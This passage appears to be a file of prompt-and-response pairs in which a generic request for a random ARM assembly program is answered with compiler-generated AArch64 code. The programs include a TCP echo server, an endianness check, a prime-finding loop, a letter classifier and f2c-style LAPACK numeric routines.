ldr x1, [x0]
str x1, [sp, 280]
mov x1, 0
str wzr, [sp, 32]
str wzr, [sp, 28]
mov w0, 16
str w0, [sp, 20]
mov w2, 0
mov w1, 1
mov w0, 2
bl socket
str w0, [sp, 32]
ldr w0, [sp, 32]
cmp w0, 0
bge .L2
mov w0, 1
str w0, [sp, 24]
b .L3
.L2:
add x0, sp, 48
stp xzr, xzr, [x0]
mov w0, 2
strh w0, [sp, 48]
mov w0, 5556
bl htons
and w0, w0, 65535
strh w0, [sp, 50]
mov w0, 0
bl htonl
str w0, [sp, 52]
add x0, sp, 48
mov w2, 16
mov x1, x0
ldr w0, [sp, 32]
bl bind
cmp w0, 0
bge .L4
mov w0, 2
str w0, [sp, 24]
b .L3
.L4:
mov w1, 5
ldr w0, [sp, 32]
bl listen
cmp w0, 0
bge .L5
mov w0, 3
str w0, [sp, 24]
b .L3
.L5:
mov w1, 5556
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x1, sp, 20
add x0, sp, 64
mov x2, x1
mov x1, x0
ldr w0, [sp, 32]
bl accept
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
bge .L6
mov w0, 4
str w0, [sp, 24]
b .L3
.L6:
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr w0, [sp, 68]
bl inet_ntoa
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldrh w0, [sp, 66]
bl htons
and w0, w0, 65535
mov w1, w0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
str wzr, [sp, 36]
.L11:
add x0, sp, 80
mov w3, 0
mov x2, 1024
mov x1, x0
ldr w0, [sp, 28]
bl recv
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bge .L7
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl perror
b .L8
.L7:
add x0, sp, 80
ldr x2, [sp, 40]
mov x1, x0
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
ldr x0, [sp, 40]
add x1, sp, 80
strb wzr, [x1, x0]
add x0, sp, 80
mov x1, x0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
add x2, sp, 80
adrp x0, .LC7
add x1, x0, :lo12:.LC7
mov x0, x2
bl strcmp
cmp w0, 0
bne .L9
mov w0, -1
str w0, [sp, 36]
b .L18
.L9:
add x0, sp, 80
mov x2, x0
ldr x1, [sp, 40]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl printf
ldr x1, [sp, 40]
add x0, sp, 80
mov w3, 0
mov x2, x1
mov x1, x0
ldr w0, [sp, 28]
bl send
.L8:
b .L11
.L18:
b .L5
.L3:
ldr w0, [sp, 24]
cmp w0, 1
bne .L12
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl perror
b .L13
.L12:
ldr w0, [sp, 24]
cmp w0, 2
bne .L14
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl perror
b .L13
.L14:
ldr w0, [sp, 24]
cmp w0, 3
bne .L15
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl perror
b .L13
.L15:
ldr w0, [sp, 24]
cmp w0, 4
bne .L13
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl perror
.L13:
ldr w0, [sp, 32]
bl close
ldr w0, [sp, 28]
bl close
ldr w0, [sp, 24]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 280]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L17
bl __stack_chk_fail
.L17:
mov w0, w1
ldp x29, x30, [sp], 288
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global is_little_endian
.type is_little_endian, %function
is_little_endian:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
mov w0, 1
str w0, [sp, 8]
ldrb w0, [sp, 8]
cmp w0, 1
cset w0, eq
and w0, w0, 255
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size is_little_endian, .-is_little_endian
.section .rodata
.align 3
.LC0:
.string "Little Endian"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
bl is_little_endian
cmp w0, 0
beq .L4
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
.L4:
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global f
.type f, %function
f:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -48
str w0, [sp, 44]
mov w0, 1
str w0, [sp, 60]
mov w0, 2
str w0, [sp, 56]
b .L2
.L5:
ldr w0, [sp, 44]
ldr w1, [sp, 56]
sdiv w2, w0, w1
ldr w1, [sp, 56]
mul w1, w2, w1
sub w0, w0, w1
cmp w0, 0
bne .L3
str wzr, [sp, 60]
b .L4
.L3:
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L2:
ldr w0, [sp, 56]
scvtf d8, w0
ldr w0, [sp, 44]
scvtf d0, w0
bl sqrt
fmov d1, d0
fmov d0, 1.0e+0
fadd d0, d1, d0
fcmpe d8, d0
bmi .L5
.L4:
ldr w0, [sp, 60]
cmp w0, 1
bne .L6
ldr w0, [sp, 44]
b .L7
.L6:
mov w0, 0
.L7:
ldr d8, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size f, .-f
.section .rodata
.align 3
.LC0:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 24]
mov x1, 0
add x0, sp, 16
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
mov w0, 1
str w0, [sp, 20]
b .L9
.L12:
ldr w0, [sp, 16]
add w0, w0, 1
str w0, [sp, 16]
ldr w0, [sp, 16]
bl f
mov w1, w0
ldr w0, [sp, 16]
cmp w1, w0
beq .L15
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L9:
ldr w1, [sp, 20]
mov w0, 34463
movk w0, 0x1, lsl 16
cmp w1, w0
ble .L12
b .L11
.L15:
nop
.L11:
ldr w0, [sp, 16]
bl f
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 24]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L14
bl __stack_chk_fail
.L14:
mov w0, w1
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "\nEntre com uma letra:"
.align 3
.LC1:
.string "\nVoc\303\252 digitou uma letra maiuscula."
.align 3
.LC2:
.string "\nVoc\303\252 digitou uma letra minuscula."
.align 3
.LC3:
.string "\nProvavelmente voc\303\252 digitou um simbolo."
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
bl getchar
strb w0, [sp, 31]
ldrb w0, [sp, 31]
cmp w0, 64
bls .L2
ldrb w0, [sp, 31]
cmp w0, 90
bhi .L2
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
b .L3
.L2:
ldrb w0, [sp, 31]
cmp w0, 96
bls .L4
ldrb w0, [sp, 31]
cmp w0, 122
bhi .L4
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
b .L3
.L4:
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
.L3:
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.data
.align 3
.type junk, %object
.size junk, 30
junk:
.string "\n@(#)LIBF77 VERSION 19990503\n"
.text
.align 2
.type spow_ui, %function
spow_ui:
.LFB10:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
str w0, [sp, 8]
fmov s0, 1.0e+0
str s0, [sp, 20]
ldr w0, [sp, 8]
cmp w0, 0
beq .L2
ldr w0, [sp, 8]
cmp w0, 0
bge .L3
ldr w0, [sp, 8]
neg w0, w0
str w0, [sp, 8]
ldr s0, [sp, 12]
fmov s1, 1.0e+0
fdiv s0, s1, s0
str s0, [sp, 12]
.L3:
ldrsw x0, [sp, 8]
str x0, [sp, 24]
.L7:
ldr x0, [sp, 24]
and x0, x0, 1
cmp x0, 0
beq .L4
ldr s1, [sp, 20]
ldr s0, [sp, 12]
fmul s0, s1, s0
str s0, [sp, 20]
.L4:
ldr x0, [sp, 24]
lsr x0, x0, 1
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L9
ldr s0, [sp, 12]
fmul s0, s0, s0
str s0, [sp, 12]
b .L7
.L9:
nop
.L2:
ldr s0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size spow_ui, .-spow_ui
.align 2
.type dpow_ui, %function
dpow_ui:
.LFB11:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str d0, [sp, 8]
str w0, [sp, 4]
fmov d0, 1.0e+0
str d0, [sp, 16]
ldr w0, [sp, 4]
cmp w0, 0
beq .L11
ldr w0, [sp, 4]
cmp w0, 0
bge .L12
ldr w0, [sp, 4]
neg w0, w0
str w0, [sp, 4]
ldr d0, [sp, 8]
fmov d1, 1.0e+0
fdiv d0, d1, d0
str d0, [sp, 8]
.L12:
ldrsw x0, [sp, 4]
str x0, [sp, 24]
.L16:
ldr x0, [sp, 24]
and x0, x0, 1
cmp x0, 0
beq .L13
ldr d1, [sp, 16]
ldr d0, [sp, 8]
fmul d0, d1, d0
str d0, [sp, 16]
.L13:
ldr x0, [sp, 24]
lsr x0, x0, 1
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L18
ldr d0, [sp, 8]
fmul d0, d0, d0
str d0, [sp, 8]
b .L16
.L18:
nop
.L11:
ldr d0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size dpow_ui, .-dpow_ui
.align 2
.type cpow_ui, %function
cpow_ui:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
fmov s2, s0
fmov s0, s1
fmov s1, s2
str s1, [sp, 24]
str s0, [sp, 28]
str w0, [sp, 20]
ldr s0, [sp, 24]
str s0, [sp, 32]
ldr s0, [sp, 28]
str s0, [sp, 36]
fmov s0, 1.0e+0
str s0, [sp, 56]
str wzr, [sp, 60]
ldr w0, [sp, 20]
cmp w0, 0
beq .L27
ldr w0, [sp, 20]
cmp w0, 0
bge .L21
ldr w0, [sp, 20]
neg w0, w0
str w0, [sp, 20]
ldr s3, [sp, 36]
ldr s2, [sp, 32]
movi v1.2s, #0
fmov s0, 1.0e+0
bl __divsc3
fmov s2, s0
fmov s0, s1
str s2, [sp, 24]
str s0, [sp, 28]
ldr s0, [sp, 24]
str s0, [sp, 32]
ldr s0, [sp, 28]
str s0, [sp, 36]
.L21:
ldrsw x0, [sp, 20]
str x0, [sp, 48]
str wzr, [sp, 44]
fmov s0, 1.0e+0
str s0, [sp, 40]
.L25:
ldr x0, [sp, 48]
and x0, x0, 1
cmp x0, 0
beq .L22
ldr s3, [sp, 36]
ldr s2, [sp, 32]
ldr s1, [sp, 44]
ldr s0, [sp, 40]
bl __mulsc3
fmov s2, s0
fmov s0, s1
str s2, [sp, 56]
str s0, [sp, 60]
ldr s0, [sp, 56]
str s0, [sp, 40]
ldr s0, [sp, 60]
str s0, [sp, 44]
.L22:
ldr x0, [sp, 48]
lsr x0, x0, 1
str x0, [sp, 48]
ldr x0, [sp, 48]
cmp x0, 0
beq .L28
ldr s3, [sp, 36]
ldr s2, [sp, 32]
ldr s1, [sp, 36]
ldr s0, [sp, 32]
bl __mulsc3
fmov s2, s0
fmov s0, s1
str s2, [sp, 24]
str s0, [sp, 28]
ldr s0, [sp, 24]
str s0, [sp, 32]
ldr s0, [sp, 28]
str s0, [sp, 36]
b .L25
.L27:
str wzr, [sp, 44]
fmov s0, 1.0e+0
str s0, [sp, 40]
b .L20
.L28:
nop
.L20:
ldr s1, [sp, 40]
ldr s0, [sp, 44]
fmov s2, s1
fmov s1, s0
fmov s0, s2
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size cpow_ui, .-cpow_ui
.align 2
.type zpow_ui, %function
zpow_ui:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
fmov d2, d0
fmov d0, d1
fmov d1, d2
str d1, [sp, 32]
str d0, [sp, 40]
str w0, [sp, 28]
ldr d0, [sp, 32]
str d0, [sp, 64]
ldr d0, [sp, 40]
str d0, [sp, 72]
fmov d0, 1.0e+0
str d0, [sp, 96]
str xzr, [sp, 104]
ldr w0, [sp, 28]
cmp w0, 0
beq .L37
ldr w0, [sp, 28]
cmp w0, 0
bge .L31
ldr w0, [sp, 28]
neg w0, w0
str w0, [sp, 28]
ldr d3, [sp, 72]
ldr d2, [sp, 64]
movi d1, #0
fmov d0, 1.0e+0
bl __divdc3
fmov d2, d0
fmov d0, d1
str d2, [sp, 32]
str d0, [sp, 40]
ldr d0, [sp, 32]
str d0, [sp, 64]
ldr d0, [sp, 40]
str d0, [sp, 72]
.L31:
ldrsw x0, [sp, 28]
str x0, [sp, 56]
str xzr, [sp, 88]
fmov d0, 1.0e+0
str d0, [sp, 80]
.L35:
ldr x0, [sp, 56]
and x0, x0, 1
cmp x0, 0
beq .L32
ldr d3, [sp, 72]
ldr d2, [sp, 64]
ldr d1, [sp, 88]
ldr d0, [sp, 80]
bl __muldc3
fmov d2, d0
fmov d0, d1
str d2, [sp, 96]
str d0, [sp, 104]
ldr d0, [sp, 96]
str d0, [sp, 80]
ldr d0, [sp, 104]
str d0, [sp, 88]
.L32:
ldr x0, [sp, 56]
lsr x0, x0, 1
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
beq .L38
ldr d3, [sp, 72]
ldr d2, [sp, 64]
ldr d1, [sp, 72]
ldr d0, [sp, 64]
bl __muldc3
fmov d2, d0
fmov d0, d1
str d2, [sp, 32]
str d0, [sp, 40]
ldr d0, [sp, 32]
str d0, [sp, 64]
ldr d0, [sp, 40]
str d0, [sp, 72]
b .L35
.L37:
str xzr, [sp, 88]
fmov d0, 1.0e+0
str d0, [sp, 80]
b .L30
.L38:
nop
.L30:
ldr d1, [sp, 80]
ldr d0, [sp, 88]
fmov d2, d1
fmov d1, d0
fmov d0, d2
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size zpow_ui, .-zpow_ui
.align 2
.type pow_ii, %function
pow_ii:
.LFB14:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
str w1, [sp, 8]
ldr w0, [sp, 8]
cmp w0, 0
bgt .L40
ldr w0, [sp, 8]
cmp w0, 0
beq .L41
ldr w0, [sp, 12]
cmp w0, 1
bne .L42
.L41:
mov w0, 1
str w0, [sp, 20]
b .L40
.L42:
ldr w0, [sp, 12]
cmn w0, #1
beq .L43
ldr w0, [sp, 12]
cmp w0, 0
bne .L44
mov w1, 1
ldr w0, [sp, 12]
sdiv w0, w1, w0
b .L45
.L44:
mov w0, 0
.L45:
str w0, [sp, 20]
b .L40
.L43:
ldr w0, [sp, 8]
neg w0, w0
str w0, [sp, 8]
.L40:
ldr w0, [sp, 8]
cmp w0, 0
bgt .L46
ldr w0, [sp, 8]
cmp w0, 0
beq .L47
ldr w0, [sp, 12]
cmp w0, 1
beq .L47
ldr w0, [sp, 12]
cmn w0, #1
bne .L47
.L46:
ldrsw x0, [sp, 8]
str x0, [sp, 24]
mov w0, 1
str w0, [sp, 20]
.L51:
ldr x0, [sp, 24]
and x0, x0, 1
cmp x0, 0
beq .L48
ldr w1, [sp, 20]
ldr w0, [sp, 12]
mul w0, w1, w0
str w0, [sp, 20]
.L48:
ldr x0, [sp, 24]
lsr x0, x0, 1
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L53
ldr w0, [sp, 12]
mul w0, w0, w0
str w0, [sp, 12]
b .L51
.L53:
nop
.L47:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE14:
.size pow_ii, .-pow_ii
.align 2
.type dmaxloc_, %function
dmaxloc_:
.LFB15:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
str x3, [sp, 8]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 40]
ldr w0, [sp, 20]
str w0, [sp, 36]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 32]
b .L55
.L58:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 40]
fcmpe d1, d0
bmi .L60
b .L56
.L60:
ldr w0, [sp, 32]
str w0, [sp, 36]
ldrsw x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 40]
.L56:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L55:
ldr w1, [sp, 32]
ldr w0, [sp, 16]
cmp w1, w0
ble .L58
ldr w1, [sp, 36]
ldr w0, [sp, 20]
sub w0, w1, w0
add w0, w0, 1
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size dmaxloc_, .-dmaxloc_
.align 2
.type smaxloc_, %function
smaxloc_:
.LFB16:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
str x3, [sp, 8]
ldrsw x0, [sp, 20]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 24]
add x0, x1, x0
ldr s0, [x0]
str s0, [sp, 36]
ldr w0, [sp, 20]
str w0, [sp, 44]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 40]
b .L62
.L65:
ldrsw x0, [sp, 40]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 24]
add x0, x1, x0
ldr s0, [x0]
ldr s1, [sp, 36]
fcmpe s1, s0
bmi .L67
b .L63
.L67:
ldr w0, [sp, 40]
str w0, [sp, 44]
ldrsw x0, [sp, 40]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 24]
add x0, x1, x0
ldr s0, [x0]
str s0, [sp, 36]
.L63:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L62:
ldr w1, [sp, 40]
ldr w0, [sp, 16]
cmp w1, w0
ble .L65
ldr w1, [sp, 44]
ldr w0, [sp, 20]
sub w0, w1, w0
add w0, w0, 1
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size smaxloc_, .-smaxloc_
.local c__0
.comm c__0,4,4
.data
.align 2
.type c__2, %object
.size c__2, 4
c__2:
.word 2
.section .rodata
.align 3
.LC0:
.string "DLASD0"
.align 3
.LC1:
.string "U"
.text
.align 2
.global dlasd0_
.type dlasd0_, %function
dlasd0_:
.LFB21:
.cfi_startproc
sub sp, sp, #336
.cfi_def_cfa_offset 336
stp x29, x30, [sp, 64]
.cfi_offset 29, -272
.cfi_offset 30, -264
add x29, sp, 64
str x0, [sp, 168]
str x1, [sp, 160]
str x2, [sp, 152]
str x3, [sp, 144]
str x4, [sp, 136]
str x5, [sp, 128]
str x6, [sp, 120]
str x7, [sp, 112]
ldr x0, [sp, 336]
str x0, [sp, 104]
ldr x0, [sp, 344]
str x0, [sp, 96]
ldr x0, [sp, 352]
str x0, [sp, 88]
ldr x0, [sp, 360]
str x0, [sp, 80]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 328]
mov x1, 0
ldr x0, [sp, 152]
sub x0, x0, #8
str x0, [sp, 152]
ldr x0, [sp, 144]
sub x0, x0, #8
str x0, [sp, 144]
ldr x0, [sp, 128]
ldr w0, [x0]
str w0, [sp, 240]
ldr w0, [sp, 240]
add w0, w0, 1
str w0, [sp, 244]
ldrsw x0, [sp, 244]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 136]
add x0, x1, x0
str x0, [sp, 136]
ldr x0, [sp, 112]
ldr w0, [x0]
str w0, [sp, 248]
ldr w0, [sp, 248]
add w0, w0, 1
str w0, [sp, 252]
ldrsw x0, [sp, 252]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 120]
add x0, x1, x0
str x0, [sp, 120]
ldr x0, [sp, 96]
sub x0, x0, #4
str x0, [sp, 96]
ldr x0, [sp, 88]
sub x0, x0, #8
str x0, [sp, 88]
ldr x0, [sp, 80]
str wzr, [x0]
ldr x0, [sp, 168]
ldr w0, [x0]
cmp w0, 0
bge .L69
ldr x0, [sp, 80]
mov w1, -1
str w1, [x0]
b .L70
.L69:
ldr x0, [sp, 160]
ldr w0, [x0]
cmp w0, 0
blt .L71
ldr x0, [sp, 160]
ldr w0, [x0]
cmp w0, 1
ble .L70
.L71:
ldr x0, [sp, 80]
mov w1, -2
str w1, [x0]
.L70:
ldr x0, [sp, 168]
ldr w1, [x0]
ldr x0, [sp, 160]
ldr w0, [x0]
add w0, w1, w0
str w0, [sp, 188]
ldr x0, [sp, 128]
ldr w1, [x0]
ldr x0, [sp, 168]
ldr w0, [x0]
cmp w1, w0
bge .L72
ldr x0, [sp, 80]
mov w1, -6
str w1, [x0]
b .L73
.L72:
ldr x0, [sp, 112]
ldr w1, [x0]
ldr w0, [sp, 188]
cmp w1, w0
bge .L74
ldr x0, [sp, 80]
mov w1, -8
str w1, [x0]
b .L73
.L74:
ldr x0, [sp, 104]
ldr w0, [x0]
cmp w0, 2
bgt .L73
ldr x0, [sp, 80]
mov w1, -9
str w1, [x0]
.L73:
ldr x0, [sp, 80]
ldr w0, [x0]
cmp w0, 0
beq .L75
ldr x0, [sp, 80]
ldr w0, [x0]
neg w0, w0
str w0, [sp, 180]
add x0, sp, 180
mov w2, 6
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl xerbla_
mov w0, 0
b .L97
.L75:
ldr x0, [sp, 168]
ldr w1, [x0]
ldr x0, [sp, 104]
ldr w0, [x0]
cmp w1, w0
bgt .L77
ldr x0, [sp, 152]
add x5, x0, 8
ldr x0, [sp, 144]
add x6, x0, 8
ldrsw x0, [sp, 252]
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldrsw x1, [sp, 244]
lsl x1, x1, 3
ldr x2, [sp, 136]
add x1, x2, x1
ldrsw x2, [sp, 244]
lsl x2, x2, 3
ldr x3, [sp, 136]
add x2, x3, x2
ldr x3, [sp, 88]
add x3, x3, 8
add x8, sp, 188
ldr x4, [sp, 80]
str x4, [sp, 56]
str x3, [sp, 48]
ldr x3, [sp, 128]
str x3, [sp, 40]
str x2, [sp, 32]
ldr x2, [sp, 128]
str x2, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 112]
str x1, [sp, 8]
str x0, [sp]
mov x7, x6
mov x6, x5
adrp x0, c__0
add x5, x0, :lo12:c__0
ldr x4, [sp, 168]
mov x3, x8
ldr x2, [sp, 168]
ldr x1, [sp, 160]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl dlasdq_
mov w0, 0
b .L97
.L77:
mov w0, 1
str w0, [sp, 256]
ldr x0, [sp, 168]
ldr w0, [x0]
ldr w1, [sp, 256]
add w0, w1, w0
str w0, [sp, 260]
ldr x0, [sp, 168]
ldr w0, [x0]
ldr w1, [sp, 260]
add w0, w1, w0
str w0, [sp, 264]
ldr x0, [sp, 168]
ldr w0, [x0]
ldr w1, [sp, 264]
add w0, w1, w0
str w0, [sp, 268]
ldr x0, [sp, 168]
ldr w0, [x0]
ldr w1, [sp, 268]
add w0, w1, w0
str w0, [sp, 272]
ldrsw x0, [sp, 256]
lsl x0, x0, 2
ldr x1, [sp, 96]
add x2, x1, x0
ldrsw x0, [sp, 260]
lsl x0, x0, 2
ldr x1, [sp, 96]
add x3, x1, x0
ldrsw x0, [sp, 264]
lsl x0, x0, 2
ldr x1, [sp, 96]
add x4, x1, x0
add x1, sp, 196
add x0, sp, 184
ldr x6, [sp, 104]
mov x5, x4
mov x4, x3
mov x3, x2
mov x2, x1
mov x1, x0
ldr x0, [sp, 168]
bl dlasdt_
ldr w0, [sp, 196]
add w0, w0, 1
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
str w0, [sp, 276]
str wzr, [sp, 208]
ldr w0, [sp, 196]
str w0, [sp, 180]
ldr w0, [sp, 276]
str w0, [sp, 220]
b .L78
.L87:
ldr w0, [sp, 220]
sub w0, w0, #1
str w0, [sp, 296]
ldr w1, [sp, 256]
ldr w0, [sp, 296]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 284]
ldr w1, [sp, 260]
ldr w0, [sp, 296]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 200]
ldr w0, [sp, 200]
add w0, w0, 1
str w0, [sp, 212]
ldr w1, [sp, 264]
ldr w0, [sp, 296]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
add x0, x1, x0
ldr w0, [x0]
str w0, [sp, 204]
ldr w0, [sp, 204]
add w0, w0, 1
str w0, [sp, 216]
ldr w0, [sp, 200]
ldr w1, [sp, 284]
sub w0, w1, w0
str w0, [sp, 288]
ldr w0, [sp, 284]
add w0, w0, 1
str w0, [sp, 300]
mov w0, 1
str w0, [sp, 192]
ldrsw x0, [sp, 288]
lsl x0, x0, 3
ldr x1, [sp, 152]
add x6, x1, x0
ldrsw x0, [sp, 288]
lsl x0, x0, 3
ldr x1, [sp, 144]
add x7, x1, x0
ldr w1, [sp, 288]
ldr w0, [sp, 248]
mul w1, w1, w0
ldr w0, [sp, 288]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 120]
add x0, x1, x0
ldr w2, [sp, 288]
ldr w1, [sp, 240]
mul w2, w2, w1
ldr w1, [sp, 288]
add w1, w2, w1
sxtw x1, w1
lsl x1, x1, 3
ldr x2, [sp, 136]
add x1, x2, x1
ldr w3, [sp, 288]
ldr w2, [sp, 240]
mul w3, w3, w2
ldr w2, [sp, 288]
add w2, w3, w2
sxtw x2, w2
lsl x2, x2, 3
ldr x3, [sp, 136]
add x2, x3, x2
ldr x3, [sp, 88]
add x3, x3, 8
add x5, sp, 208
add x11, sp, 200
add x10, sp, 212
add x9, sp, 200
add x8, sp, 192
ldr x4, [sp, 80]
str x4, [sp, 56]
str x3, [sp, 48]
ldr x3, [sp, 128]
str x3, [sp, 40]
str x2, [sp, 32]
ldr x2, [sp, 128]
str x2, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 112]
str x1, [sp, 8]
str x0, [sp]
mov x4, x11
mov x3, x10
mov x2, x9
mov x1, x8
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl dlasdq_
ldr x0, [sp, 80]
ldr w0, [x0]
cmp w0, 0
beq .L79
mov w0, 0
b .L97
.L79:
ldr w1, [sp, 268]
ldr w0, [sp, 288]
add w0, w1, w0
sub w0, w0, #2
str w0, [sp, 304]
ldr w0, [sp, 200]
str w0, [sp, 308]
mov w0, 1
str w0, [sp, 224]
b .L80
.L81:
ldr w1, [sp, 304]
ldr w0, [sp, 224]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 96]
